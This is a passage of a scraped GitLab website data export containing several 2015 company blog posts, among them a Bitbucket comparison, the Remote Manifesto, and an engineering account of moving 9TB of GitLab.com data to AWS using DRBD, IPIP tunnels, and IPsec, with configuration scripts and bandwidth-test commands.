GitLab-CI-Multi-Runner).\nWhat is important is that this is the one project to rule them all. With Go's multiplatform approach it is really simple to build projects than can run on all platforms and in most cases it's sufficient to distribute the application binary only, because it has all required bits to run the project.\n\n## Features\n\n* Allows to run:\n - multiple jobs concurrently\n - use multiple tokens with multiple server (even per-project)\n - limit number of concurrent jobs per-token\n* Jobs can be run:\n - locally\n - using a Docker container\n - using a Docker container and executing jobs over SSH\n - using dynamically provisioned Parallels VM machines\n - connecting to a remote SSH server\n* Is written in Go and is also distributed as single binary without any other requirements\n* Supports Bash, Windows Batch and Windows PowerShell\n* Works on Ubuntu, Debian, macOS and Windows (and anywhere you can run Docker)\n* Allows to customize job running environment\n* Automatic configuration reload without restart\n* Easy to use setup with support for all running environments\n* Support for caching when using Docker containers\n* Support to make runner a Service on Linux, macOS and Windows\n* Current jobs are aborted when service receives interrupt signal - ex. when shutting down the server.\n\n## Is it stable?\n\nThis runner has been in use for quite some time already to build our mobile projects at [Polidea](https://www.polidea.com/). Polidea is a mobile software house that creates and develops apps for a variety of clients. We like customizing and improving our processes as much as possible to make the development process as smooth as it gets – and to create great tools for everyone. We will soon be publishing series of posts how we use GitLab CI to build projects for Android and iOS devices.\n\n## This project needs your help\n\nI think that you got interested. Please try to run it and post some comments on how it works for you. You can also join discussion on [GitLab.com](https://gitlab.com/gitlab-org/omnibus-gitlab-runner/issues/7#note_1074777) whether this runners should become the official one. Thanks!\n",{"slug":39833,"featured":6,"template":678},"unofficial-gitlab-ci-runner","content:en-us:blog:unofficial-gitlab-ci-runner.yml","Unofficial Gitlab Ci Runner","en-us/blog/unofficial-gitlab-ci-runner.yml","en-us/blog/unofficial-gitlab-ci-runner",{"_path":39839,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":39840,"content":39846,"config":39850,"_id":39852,"_type":16,"title":39853,"_source":17,"_file":39854,"_stem":39855,"_extension":20},"/en-us/blog/bitbucket-vs-gitlab-com",{"title":39841,"description":39842,"ogTitle":39841,"ogDescription":39842,"noIndex":6,"ogImage":39843,"ogUrl":39844,"ogSiteName":1180,"ogType":1181,"canonicalUrls":39844,"schema":39845},"Bitbucket vs. GitLab.com","Considering a move from Bitbucket to GitLab? We've compiled a list of our advantages for you to view.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749684393/Blog/Hero%20Images/bb.jpg","https://about.gitlab.com/blog/bitbucket-vs-gitlab-com","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Bitbucket vs. GitLab.com\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Job van der Voort\"}],\n        \"datePublished\": \"2015-04-15\",\n      }",{"title":39841,"description":39842,"authors":39847,"heroImage":39843,"date":39848,"body":39849,"category":299},[36660],"2015-04-15","\n\nThe best thing of an open source project, GitLab in particular, is the community.\nNot only does the community provide us with much needed [feedback](http://feedback.gitlab.com),\nbut in our case, they often send us awesome new features themselves that are\nin high demand.\n\nThis gives us an edge versus Bitbucket, which has a long list of requested\nfeatures, but doesn't seem to be responsive to their users.\n\nTo convince some of you to move from Bitbucket to [GitLab.com](/pricing/) , we've compiled\na list of our advantages versus them. We'd love to hear what you think in\nthe comments.\n\n\u003C!-- more -->\n\n## GitLab.com and Community Edition are _completely_ free\n\nWhereas Bitbucket restricts you to work with only 5 people for free,\nGitLab.com is completely free. You want to host your 1000 repositories\nand 100 colleagues on GitLab.com? Free.\n\nYou want to run your own server with 1000 employees, restricted to your\nenvironment? Free.\n\nWe believe that source code hosting is a commodity and should be available\nto anyone at no cost.\nNormal support happens via a forum, like Gmail and Facebook.\nIf you want email support you can look at our [subscriptions](/pricing/). But without this,\nyou're definitely not missing out since GitLab.com has all the features of [GitLab Enterprise Edition](/pricing/feature-comparison/).\n\n## GitLab is beautifully designed\n\nJust look at it:\n\n![Nice design of GitLab](https://about.gitlab.com/images/bb/design.png)\n\n## Contributor Statistics\n\nThe top requested Bitbucket features? We've had it for years:\n\n![Contributor graphs](https://about.gitlab.com/images/bb/graphs.png)\n![Commit graphs](https://about.gitlab.com/images/bb/graphs2.png)\n\n## Group your Repositories\n\nGroups allow you to easily manage multiple repositories between people\nand set permissions, access rights and integrations.\n\nWe noticed that groups (teams) in Bitbucket are not as flexible as\nGitLab in allowing you to organize repositories and strictly limited\nto the amount of collaborators you have on them, making them more a\nway to sell subscriptions than actually used for grouping\nrepositories.\n\n![groups](https://about.gitlab.com/images/bb/groups.png)\n\nThe nice thing is that now you can also have Starred projects in GitLab,\ngiving you another way to organize repositories easily, if you have\nmany but only want to focus on a handful.\n\n_updated with information from [comments](/blog/bitbucket-vs-gitlab-com/#comment-1972206300)_\n\n## Source code Search\n\nWant to search the source code of a project?\nEnter anything in the top bar of any project and GitLab will search\nthrough all the contents of the repository, issues and anything that belongs\nto the project.\n\n![search](https://about.gitlab.com/images/bb/search.png)\n\n## Fine grained permission management\n\nWant to give someone permission to access the issue tracker, but\nnot the repository? You can!\n\nWant to give someone read access to a group of repositories,\nbut write access to one in particular? You can!\n\nWant to have a discussion about what kind of animal the GitLab logo is?\nNow you can!\n\n## Git Hooks\n\nIn GitLab Enterprise Edition, there is a list of pre-built Git Hooks available\nthat you can use by simply selecting them.\n\n## Comes with a CI!\n\nWith every GitLab installation, you get our continuous integration tool\nGitLab CI! GitLab.com users [can use it for free](http://doc.gitlab.com/ce/ci/quick_start/README.html). It integrates fully with GitLab, so you can easily see the\nbuild status of any branch, commit or merge request and run your\ndeployments automatically after!\n\n![GitLab CI integration](https://about.gitlab.com/images/bb/ci.png)\n\n## Import from Bitbucket, GitHub, anywhere\n\nWant to start using GitLab? You can easily import your repositories from\nBitbucket, GitHub, Gitorious or anywhere else, all in batch!\n\n![Import from anywhere](https://about.gitlab.com/images/bb/import.png)\n",{"slug":39851,"featured":6,"template":678},"bitbucket-vs-gitlab-com","content:en-us:blog:bitbucket-vs-gitlab-com.yml","Bitbucket Vs Gitlab Com","en-us/blog/bitbucket-vs-gitlab-com.yml","en-us/blog/bitbucket-vs-gitlab-com",{"_path":39857,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":39858,"content":39864,"config":39868,"_id":39870,"_type":16,"title":39871,"_source":17,"_file":39872,"_stem":39873,"_extension":20},"/en-us/blog/gitlab-dot-com-storage-limit-raised-to-10gb-per-repo",{"title":39859,"description":39860,"ogTitle":39859,"ogDescription":39860,"noIndex":6,"ogImage":39861,"ogUrl":39862,"ogSiteName":1180,"ogType":1181,"canonicalUrls":39862,"schema":39863},"GitLab.com storage limit raised to 10GB per repo","GitLab celebrate permanently raising our storage limit per repository on GitLab.com from 5GB to an impressive 10GB.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683693/Blog/Hero%20Images/milkyway.jpg","https://about.gitlab.com/blog/gitlab-dot-com-storage-limit-raised-to-10gb-per-repo","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab.com storage limit raised to 10GB per repo\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sid Sijbrandij\"}],\n        \"datePublished\": \"2015-04-08\",\n      }",{"title":39859,"description":39860,"authors":39865,"heroImage":39861,"date":39866,"body":39867,"category":299},[3532],"2015-04-08","\n\nWe want to congratulate GitHub on [launching git-lfs today](https://github.com/blog/1986-announcing-git-large-file-storage-lfs), their method for storing large files.\nTheir command line client looks easy to use since you can use existing git commands, a very nice innovation.\n\nWe think that a solution for storing large files will benefit the entire git ecosystem.\nGitLab.com and GitLab [Enterprise Edition](/enterprise/) have included support for the open source git-annex [since February](/blog/gitlab-annex-solves-the-problem-of-versioning-large-binaries-with-git/).\nGitHub has based their solution on git-media but chose to make it a new format.\n\nWe would love to see one standard emerge over time and we're glad to see that git-lfs is open source and that they [didn't call it assman](https://github.com/github/git-lfs/commit/10a8eceefdb081edf6114eda6f68c1f4db204a96).\nWe hope that going forward development happens in the open so that the different large file solutions can grow to a unified solution.\n\nTo celebrate today's good news we've permanently raised our storage limit per repository on GitLab.com from 5GB to 10GB. As before, public and private repositories on GitLab.com are unlimited, don't have a transfer limit and they include unlimited collaborators.\n",{"slug":39869,"featured":6,"template":678},"gitlab-dot-com-storage-limit-raised-to-10gb-per-repo","content:en-us:blog:gitlab-dot-com-storage-limit-raised-to-10gb-per-repo.yml","Gitlab Dot Com Storage Limit Raised To 10gb Per Repo","en-us/blog/gitlab-dot-com-storage-limit-raised-to-10gb-per-repo.yml","en-us/blog/gitlab-dot-com-storage-limit-raised-to-10gb-per-repo",{"_path":39875,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":39876,"content":39882,"config":39885,"_id":39887,"_type":16,"title":39877,"_source":17,"_file":39888,"_stem":39889,"_extension":20},"/en-us/blog/the-remote-manifesto",{"title":39877,"description":39878,"ogTitle":39877,"ogDescription":39878,"noIndex":6,"ogImage":39879,"ogUrl":39880,"ogSiteName":1180,"ogType":1181,"canonicalUrls":39880,"schema":39881},"The Remote Manifesto","View the GitLab remote working manifesto and the multitude of life-balance benefits it allows our employees to enjoy. Learn more here!","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683688/Blog/Hero%20Images/remote.jpg","https://about.gitlab.com/blog/the-remote-manifesto","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"The Remote Manifesto\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sid Sijbrandij\"}],\n        \"datePublished\": \"2015-04-08\",\n      }",{"title":39877,"description":39878,"authors":39883,"heroImage":39879,"date":39866,"body":39884,"category":6634},[3532],"\n\nWe all have been greatly helped by Scrum and the [Agile manifesto](http://agilemanifesto.org/).\nIt freed us from waterfall planning and excessive process.\nBut working remotely and [continuous delivery](/topics/continuous-delivery/) need something more.\n\n\u003C!-- more -->\n\nAt GitLab we love to work remotely, but that means we need to [utilize asynchronous communication](/company/culture/all-remote/asynchronous/) as\neffectively as possible.\n\nThe following are GitLab's seven principles for modern teams working remotely:\n\n## 1. Work from anywhere you want\n\nWorking remotely allows you to be there for the ones you love, and be more\navailable for them. It allows you to see more places, without ever having\nto commute. On top of that, working remotely removes almost every distraction.\n\n## 2. Communicate Asynchronously\n\nDon't try to mimic an office. Communicate using issue mentions and chat tools.\nReduce task switching and put an end to email overload. Choose the right channel\nof communication according to the necessity of the task you're working on. Can\nit wait a few minutes, a few hours, even a few days? Don't take someone from\ntheir work if you don't have to.\n\nIf people _are_ working from the same location, it is important that they do\nnot skimp on writing things down.\n\nEveryone should use the same tools to communicate.\n\n## 3. Recognize that the future is unknown\n\nShip stuff when it's done, not when the sprint (planning) is complete.\n\n## 4. Have face-to-face meetings online\n\nThere is no need to cut back on face-to-face meetings. The technology is readily\navailable and it's easier to use than ever. We're human, we like to converse.\nSome times it can be critical to talk, even if only for a minute, when all\nother communication is written.\n\n## 5. Daily stand-up meetings are for bonding, blockers and the future\n\nDon't talk about what you did yesterday,\nthis is not a reporting moment where everyone tries to look busy.\nRather, kickstart the day with some bonding,\nsolve anything blocking and share future plans so people can plan and act\nand ultimately save time.\n\n## 6. Bond in real life\n\nHanging out together in real life is awesome and totally worth it. These are the\nbest days of our lives. Spend time together and make sure to do more than just\nwork. Do a martial arts workshop together, visit the parents of an employee,\ngo to a festival together: have fun.\n\n## 7. Give credit where it's due and remember to say thank you\n\nAt GitLab we have a Slack channel `#thanks` for this purpose.\nIt always feels good to give and receive a thanks.\n\n![Thanks Slack channel](https://about.gitlab.com/images/thanks.png)\n\nInspired by [this post on pandastrike.com.](https://www.pandastrike.com/posts/20150304-agile)\n",{"slug":39886,"featured":6,"template":678},"the-remote-manifesto","content:en-us:blog:the-remote-manifesto.yml","en-us/blog/the-remote-manifesto.yml","en-us/blog/the-remote-manifesto",{"_path":39891,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":39892,"content":39897,"config":39901,"_id":39903,"_type":16,"title":39904,"_source":17,"_file":39905,"_stem":39906,"_extension":20},"/en-us/blog/farewell-google-code-hello-gitlab-dot-com",{"title":39893,"description":39894,"ogTitle":39893,"ogDescription":39894,"noIndex":6,"ogImage":39444,"ogUrl":39895,"ogSiteName":1180,"ogType":1181,"canonicalUrls":39895,"schema":39896},"Farewell Google Code. Hello GitLab.com","Today GitLab examines Google's announcement that its Google Code project hosting service will be closing in about 10 months.","https://about.gitlab.com/blog/farewell-google-code-hello-gitlab-dot-com","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Farewell Google Code. Hello GitLab.com\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sid Sijbrandij\"}],\n        \"datePublished\": \"2015-03-12\",\n      }",{"title":39893,"description":39894,"authors":39898,"heroImage":39444,"date":39899,"body":39900,"category":299},[3532],"2015-03-12","\n\nToday Google announced that its Google Code project hosting service will be closing in about 10 months. Back in 2006 when Google Code was first introduced, options for project hosting were pretty limited. Now there are many more options to choose from. \n\n\u003C!-- more -->\n\nThe reason for Google Code's demise is pretty obvious when you consider that around 9 million users are now registered on GitHub. Google's recently cited issues with Google Code have centered on reported spam and abuse problems not on the number of active users. However it's the number of users, or lack thereof, that is clearly the problem. So does 9 million users on GitHub mean that the world of open source is stuck with one centralized repository and we are left, effectively, with a monoculture for the foreseeable future? Google's Chris DiBona doesn't seem to think so and is quoted in a [recent Wired article](http://www.wired.com/2015/03/github-conquered-google-microsoft-everyone-else/) \"GitHub matters a lot, but it's not like you're stuck there.\" \n\nSo if not GitHub where else do you go? DiBona offers up a suggestion in a [comment on Hacker News](https://news.ycombinator.com/item?id=9192271) \"I heartily recommend people look at GitLab.\" [GitLab.com](/pricing/)  offers an open source, community based, project hosting service that is a viable alternative to GitHub. Begun in 2011 by Dimitriy Zaporozhets, GitLab.com is supported by a core team of individuals and now a team of close to 800 contributors ensures a bright future.\n\nOne last point.  Google Code is yet another Google project to join the long line that has bitten the dust. It has been mooted that part of the reason is that Google is only interested in reaching markets of a billion people or more in order to move the needle of their advertising revenue. The universe of software developers is not going to move it very far for them. Or do they have that right? At GitLab we believe that the future is ripe for just about everybody to store, version and collaborate using the principles pioneered by software developers. Every contract, every report, every graphic and audio file deserves the chance to be versioned. Years down the road we probably won't still be talking git, but for now artists, authors, architects, engineers and designers who want in on the action can join the party with us coders. People are building book authoring and law reviewing application [on top of GitLab](/partners/) and we would love to see more of that happening.\n\nTo move your repository just create a project on GitLab.com, add that as a remote and push or first import them to GitHub and than use our [GitHub importer](/images/7_7/import.png).\n",{"slug":39902,"featured":6,"template":678},"farewell-google-code-hello-gitlab-dot-com","content:en-us:blog:farewell-google-code-hello-gitlab-dot-com.yml","Farewell Google Code Hello Gitlab Dot Com","en-us/blog/farewell-google-code-hello-gitlab-dot-com.yml","en-us/blog/farewell-google-code-hello-gitlab-dot-com",{"_path":39908,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":39909,"content":39915,"config":39919,"_id":39921,"_type":16,"title":39922,"_source":17,"_file":39923,"_stem":39924,"_extension":20},"/en-us/blog/gitlab-ami",{"title":39910,"description":39911,"ogTitle":39910,"ogDescription":39911,"noIndex":6,"ogImage":39912,"ogUrl":39913,"ogSiteName":1180,"ogType":1181,"canonicalUrls":39913,"schema":39914},"GitLab AMI","We're happy to announce that GitLab now has Amazon Web Services Machines Images (AMIs) available for GitLab CE.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749684381/Blog/Hero%20Images/mac.jpg","https://about.gitlab.com/blog/gitlab-ami","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab AMI\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Job van der Voort\"}],\n        \"datePublished\": \"2015-03-11\",\n      }",{"title":39910,"description":39911,"authors":39916,"heroImage":39912,"date":39917,"body":39918,"category":299},[36660],"2015-03-11","\n\nWe're happy to announce that GitLab now has [Amazon Web Services Machines Images](/partners/technology-partners/aws/)\n(AMIs) available for GitLab CE. These are simple AMIs, that only require a\nsingle command to bootstrap your GitLab instance on AWS.\n\n\u003C!-- more -->\n\nTo use the GitLab machine image, simply create an instance from the AMI\nthat you find [here](/partners/technology-partners/aws/) and run:\n\n```\nsudo gitlab-ctl reconfigure\n```\n\nYour instance will run at your set hostname and you can immediately log in\nand start using GitLab!\n\n## Powered by an Omnibus Package\n\nThe AMI contains the exact same GitLab CE Omnibus package that is released.\nThis means that upgrading and maintenance is very easy.\n\nThis is actually how we run GitLab.com on AWS. See how we migrated [here](/blog/moving-all-your-data/).\n",{"slug":39920,"featured":6,"template":678},"gitlab-ami","content:en-us:blog:gitlab-ami.yml","Gitlab Ami","en-us/blog/gitlab-ami.yml","en-us/blog/gitlab-ami",{"_path":39926,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":39927,"content":39933,"config":39937,"_id":39939,"_type":16,"title":39940,"_source":17,"_file":39941,"_stem":39942,"_extension":20},"/en-us/blog/moving-all-your-data",{"title":39928,"description":39929,"ogTitle":39928,"ogDescription":39929,"noIndex":6,"ogImage":39930,"ogUrl":39931,"ogSiteName":1180,"ogType":1181,"canonicalUrls":39931,"schema":39932},"Moving all your data, 9TB edition","At GitLab B.V. we are working on an infrastructure upgrade to give more CPU power and storage space to GitLab.com. Learn more here!","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749684774/Blog/Hero%20Images/van.jpg","https://about.gitlab.com/blog/moving-all-your-data","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Moving all your data, 9TB edition\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jacob Vosmaer\"}],\n        \"datePublished\": \"2015-03-09\",\n      }",{"title":39928,"description":39929,"authors":39934,"heroImage":39930,"date":39935,"body":39936,"category":734},[15467],"2015-03-09","\nAt GitLab B.V. we are working on an infrastructure upgrade to give more CPU\npower and storage space to GitLab.com. (We are currently still running on a\n[single server](/blog/the-hardware-that-powers-100k-git-repos/).) As a\npart of this upgrade we wanted to move gitlab.com from our own dedicated\nhardware servers to an AWS data center 400 kilometers away.  In this blog post\nI will tell you how I did that and what challenges I had to overcome. An epic\nadventure of hand-rolled network tunnels, advanced DRBD features and streaming\n9TB of data through SSH pipes!\n\n\u003C!-- more -->\n\n## What did I have to move?\n\nIn our current setup we run a stock GitLab Enterprise Edition omnibus package,\nwith a single big filesystem mounted at `/var/opt/gitlab`. This\nfilesystem holds all the user data hosted on gitlab.com: Postgres and Redis\ndatabase files, user uploads, and a lot of Git repositories. All I had to do\nto move this data to AWS is to move the files on this filesystem. Sounds simple\nenough, does it not?\n\nSo do we move the files, or the filesystem itself? This is an easy question to\nanswer. Moving the files using something like Rsync is not an option because it\nis just too slow. We do file-based backups every week where we take a block\ndevice snapshot, mount the snapshot and send it across with Rsync. That\ncurrently takes over 24 hours, and 24 hours of downtime while we move\ngitlab.com is not a nice idea. Now you might ask: what if you Rsync once to\nprepare, take the server offline, and then do a quick Rsync just to catch up?\nThat would still take hours just for Rsync to walk through all the files and\ndirectories on disk. No good.\n\nWe have faced and solved this same problem in the past when the amount of data\nwas 5 times smaller. (Rsync was not an option even then.) What I did at that\ntime was to use DRBD to move not just the files themselves, but the whole\nfilesystem they sit on. This time around DRBD again seemed like the best\nsolution for us. It is not the fastest solution to move a lot of data, but what\nis great about it is that you can keep using the filesystem while the data is\nbeing moved, and changes will get synchronized continuously. No downtime for\nour users! (Except maybe 5 minutes at the start to set up the sync.)\n\n## What is DRBD?\n\n[DRBD](http://www.drbd.org) is a system that can create a virtual hard drive\n(block device) on a Linux computer that gets mirrored across a network\nconnection to a second Linux computer. Both computers give a 'real' hard drive\nto DRBD, and DRBD keeps the contents of the real hard drive the same across\nboth computers via the network. One of the two computers gets a virtual hard\ndrive from DRBD, which shows the contents of the real hard drive underneath. If\nyour first computer crashes, you can 'plug in' the virtual hard drive on the\nsecond computer in a matter of seconds, and all your data will still be there\nbecause DRBD kept the 'real' hard drives in sync for you. You can even have the\ntwo computers that are linked by DRBD sit in different buildings, or on\ndifferent continents. Up until our move to AWS, we were using DRBD to protect\nagainst hardware failure on the server that runs gitlab.com: if such a failure\nwould happen, we could just plug in the virtual hard drive with the user data\ninto our stand-by server. In our new data center, the hosting provider (Amazon\nWeb Services) has their own solution for plugging virtual hard drives in and\nout called Elastic Block Storage, so we are no longer using DRBD as a virtual\nhard drive. From an availability standpoint this is not better or worse, but\nusing EBS drives does make it a lot easier for us to make backups because now\nwe can just store snapshots (no more Rsync).\n\n## Using DRBD for a data migration\n\nAlthough DRBD is not really made for this purpose, I felt confident using DRBD\nfor the migration because I had done it before for a migration between data\ncenters. At that time we were moving across the Atlantic Ocean; this time we\nwould only be moving from the Netherlands to Germany.  However, the last time\nwe used DRBD only as a one-off tool. In our pre-migration setup, we were\nalready using DRBD to replicate the filesystem between two servers in the same\nrack. DRBD only lets you share a virtual hard drive between two computers, so\nhow do we now send the data to a _third_ computer in the new data center?\n\nLuckily, DRBD actually has a trick up its sleeve to deal with this, called\n'stacked resources'. This means that our old servers ('linus' and 'monty')\nwould share a virtual hard drive called 'drbd0', and that whoever of the two\nhas the 'drbd0' virtual hard drive plugged in gets to use 'drbd0' as the 'real'\nhard drive underneath a second virtual hard drive, called 'drbd10', which is\nshared with the new server ('theo'). Also see the picture below.\n\n![Stacked DRBD replication](https://about.gitlab.com/images/drbd/drbd-three-nodes.png)\n\nIf linus would malfunction, we could attach drbd0 (the blue virtual hard drive)\non monty and keep gitlab.com going. The 'green' replication (to get the data to\ntheo) would also be able to continue, even after a failover to monty.\n\n## Networking\n\nI liked the picture above, so 'all' I had to do was set it up. That ended up\ntaking a few days, just to set up a test environment, and to figure out how to\ncreate a network tunnel for the green traffic. The network tunnel needed to\nhave a movable endpoint depending on whether linus or monty was primary. We\nalso needed the tunnel because DRBD is not compatible with the [Network Address\nTranslation](http://en.wikipedia.org/wiki/Network_address_translation) used by\nAWS. DRBD assumes that whenever a node listens on an IP address, it is also\nreachable for its partner node at that IP address. On AWS on the other hand, a\nnode will have one or more internal IP addresses, which are distinct from its\n_public_ IP address.\n\nWe chose to work around this with an [IPIP\ntunnel](http://en.wikipedia.org/wiki/IP_in_IP) and manually keyed IPsec\nencryption. Previous experiments indicated that this gave us the best network\nthroughput compared to OpenVPN and GRE tunnels.\n\nTo set up the tunnel I used a shell script that was kept in sync on all three\nservers involved in the migration by Chef.\n\n```\n# Network tunnel configuration script used by GitLab B.V. to migrate data from\n# Delft to Frankfurt\n\n#!/bin/sh\nset -u\n\nPATH=/usr/sbin:/sbin:/usr/bin:/bin\n\nfrankfurt_public=54.93.71.23\nfrankfurt_replication=172.16.228.2\ntest_public=54.152.127.180\ntest_replication=172.16.228.1\ndelft_public=62.204.93.103\ndelft_replication=172.16.228.1\n\ncreate_tunipip() {\n  if ! ip tunnel show | grep -q tunIPIP ; then\n    echo Creating tunnel tunIPIP\n    ip tunnel add tunIPIP mode ipip ttl 64 local \"$1\" remote \"$2\"\n  fi\n}\n\nadd_tunnel_address() {\n  if ! ip address show tunIPIP | grep -q \"$1\" ; then\n    ip address add \"$1/32\" peer \"$2/32\" dev tunIPIP\n  fi\n}\n\ncase $(hostname) in\n  ip-10-0-2-9)\n    create_tunipip 10.0.2.140 \"${frankfurt_public}\"\n    add_tunnel_address \"${test_replication}\" \"${frankfurt_replication}\"\n    ip link set tunIPIP up\n    ;;\n  ip-10-0-2-245)\n    create_tunipip 10.0.2.11 \"${frankfurt_public}\"\n    add_tunnel_address \"${test_replication}\" \"${frankfurt_replication}\"\n    ip link set tunIPIP up\n    ;;\n  ip-10-1-0-52|theo.gitlab.com)\n    create_tunipip 10.1.0.52 \"${delft_public}\"\n    add_tunnel_address \"${frankfurt_replication}\" \"${delft_replication}\"\n    ip link set tunIPIP up\n    ;;\n  linus|monty)\n    create_tunipip \"${delft_public}\" \"${frankfurt_public}\"\n    add_tunnel_address \"${delft_replication}\" \"${frankfurt_replication}\"\n    ip link set tunIPIP up\n    ;;\nesac\n```\n\nThis script was configured to run on boot. Note that it covers our Delft nodes\n(linus and monty, then current production), the node we were migrating to in\nFrankfurt (theo), and two AWS test nodes that were part of a staging setup. We\nchose the AWS Frankfurt (Germany) data center because of its geographic\nproximity to Delft (The Netherlands).\n\nWe configured IPsec with `/etc/ipsec-tools.conf`. An example for the 'origin'\nconfiguration would be:\n\n```\n#!/usr/sbin/setkey -f\n\n# Configuration for 172.16.228.1\n\n# Flush the SAD and SPD\nflush;\nspdflush;\n\n# Attention: Use this keys only for testing purposes!\n# Generate your own keys!\n\n# AH SAs using 128 bit long keys\n# Fill in your keys below!\nadd 172.16.228.1 172.16.228.2 ah 0x200 -A hmac-md5 0xfoobar;\nadd 172.16.228.2 172.16.228.1 ah 0x300 -A hmac-md5 0xbarbaz;\n\n# ESP SAs using 192 bit long keys (168 + 24 parity)\n# Fill in your keys below!\nadd 172.16.228.1 172.16.228.2 esp 0x201 -E 3des-cbc 0xquxfoo;\nadd 172.16.228.2 172.16.228.1 esp 0x301 -E 3des-cbc 0xbazqux;\n\n# Security policies\n# outbound traffic from 172.16.228.1 to 172.16.228.2\nspdadd 172.16.228.1 172.16.228.2 any -P out ipsec esp/transport//require ah/transport//require;\n\n# inbound traffic from 172.16.228.2 to 172.16.228.1\nspdadd 172.16.228.2 172.16.228.1 any -P in ipsec esp/transport//require ah/transport//require;\n```\n\nGetting the networking to this point took quite some work. For starters, we did\nnot have a staging environment similar enough to our production environment, so\nI had to create one for this occasion.\n\nOn top of that, to model our production setup, I had to use an AWS 'Virtual\nPrivate Cloud', which was new technology for us. It took a while before I\nfound some [vital information about using multiple IP\naddresses](http://engineering.silk.co/post/31923247961/multiple-ip-addresses-on-amazon-ec2)\nthat was not obvious from the AWS documentation: if you want to have two public\nIP addresses on an AWS VPC node, you need to put two corresponding private IP\naddresses on one 'Elastic Network Interface', instead of creating two network\ninterfaces with one private IP each.\n\n## Configuring three-way DRBD replication\n\nWith the basic networking figured out the next thing I had to do was to adapt\nour production failover script so that we maintain redundancy while migrating\nthe data. 'Failover' is a procedure where you move a service (gitlab.com) ove\nto a different computer after a failure. Our failover procedure is managed by a\nscript. My goal was to make sure that if one of our production servers failed,\nany teammate of mine on pager duty would be able to restore the gitlab.com\nservice using our normal failover procedure. That meant I had to update the\nscript to use the new three-way DRBD configuration.\n\nI certainly got a little more familiar with tcpdump (`tcpdump -n -i\nINTERFACE`), having multiple layers of firewalls\n([UFW](http://en.wikipedia.org/wiki/Uncomplicated_Firewall) and AWS [Security\nGroups](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-network-security.html)),\nand how to get any useful log messages from DRBD:\n\n```\n# Monitor DRBD log messages\nsudo tail -f /var/log/messages | grep -e drbd -e d-con\n```\n\nI later learned that I actually deployed a new version of the failover script\nwith a bug in it that potentially could have confused the hell out of my\nteammates had they had to use it under duress. Luckily we never actually needed\nthe failover procedure during the time the new script was in production.\n\nBut, even though I was introducing new complexity and hence bugs into our\nfailover tooling, I did manage to learn and try out enough things to bring this\nproject to a successful conclusion.\n\n## Enabling the DRBD replication\n\nThis part was relatively easy. I just had to grow the DRBD block device\n'drbd0' so that it could accommodate the new stacked (inner) block device\n'drbd10' without having to shrink our production filesystem. Because drbd0 was\nbacked by LVM and we had some space left this was a matter of invoking\n`lvextend` and `drbdadm resize` on both our production nodes.\n\nThe step after this was the first one where I had to take gitlab.com offline.\nIn order to 'activate' drbd10 and start the synchronization, I had to unmount\n`/dev/drbd0` from `/var/opt/gitlab` and mount `/dev/drbd10` in its place. This\ntook less than 5 minutes. After this the actual migration was under way!\n\n## Too slow\n\nAt this point I was briefly excited to be able to share some good news with the\nrest of the team. While staring about the DRBD progress bar for the\nsynchronization I started to realize however that the progress bar was telling\nme that the synchronization would take about 50-60 days at 2MB/s.\n\nThis prognosis was an improvement over what we would expect based on our\nprevious experience moving 1.8TB from North Virginia (US) to Delft (NL) in\nabout two weeks (across the Atlantic Ocean!). If one would extrapolate that\nrate you would expect moving 9TB to take 70 days. We were disappointed\nnonetheless because we were hoping that we would gain more throughput by moving\nover a shorter distance this time around (Delft and Frankfurt are about 400km\napart).\n\nThe first thing I started looking into at this point was whether we could\nsomehow make better use of the network bandwidth at our disposal. Sending fake\ndata (zeroes) over the (encrypted) IPIP tunnel (`dd if=/dev/zero | nc remote_ip\n1234`) we could get about 17 MB/s. By disabling IPsec (not really an option as\nfar as I am concerned) we could increase that number to 40 MB/s.\n\nThe only conclusion I could come to was that we were not reaching our maximum\nbandwidth potential, but that I had no clue how to coax more speed out of the\nDRBD sync. Luckily I recalled reading about another magical DRBD feature.\n\n## Bring out the truck\n\nThe solution suggested by the DRBD documentation for situations like ours is\ncalled ['truck based\nreplication](https://drbd.linbit.com/users-guide/s-using-truck-based-replication.html).\nInstead of synchronizing 9TB of data, we would be telling DRBD to mark a point\nin time, take a full disk snapshot, move the snapshot to the new location (as a\nbox full of hard drives in a truck if needed), and then tell DRBD to get the\ndata at the new location up to date. During that 'catching-up' sync, DRBD would\nonly be resending those parts of the disk that actually changed since we marked\nthe point in time earlier. Because our users would not have written 9TB of new\ndata while the 'disks' were being shipped, we would have to sync much less than\n9TB.\n\n![Full replication versus 'truck' replication](https://about.gitlab.com/images/drbd/drbd-truck-sync.png)\n\nIn our case I would not have to use an actual truck; while testing the network\nthroughput between our old and new server I found that I could stream zeroes\nthrough SSH at about 35MB/s.\n\n```\ndd if=/dev/zero bs=1M count=100 | ssh theo.gitlab.com dd of=/dev/null\n```\n\nAfter doing some testing with the leftover two-node staging setup I built\nearlier to figure out the networking I felt I could make this work. I followed\nthe steps in the DRBD documentation, made an LVM snapshot on the active origin\nserver, and started sending the snapshot to the new server with the 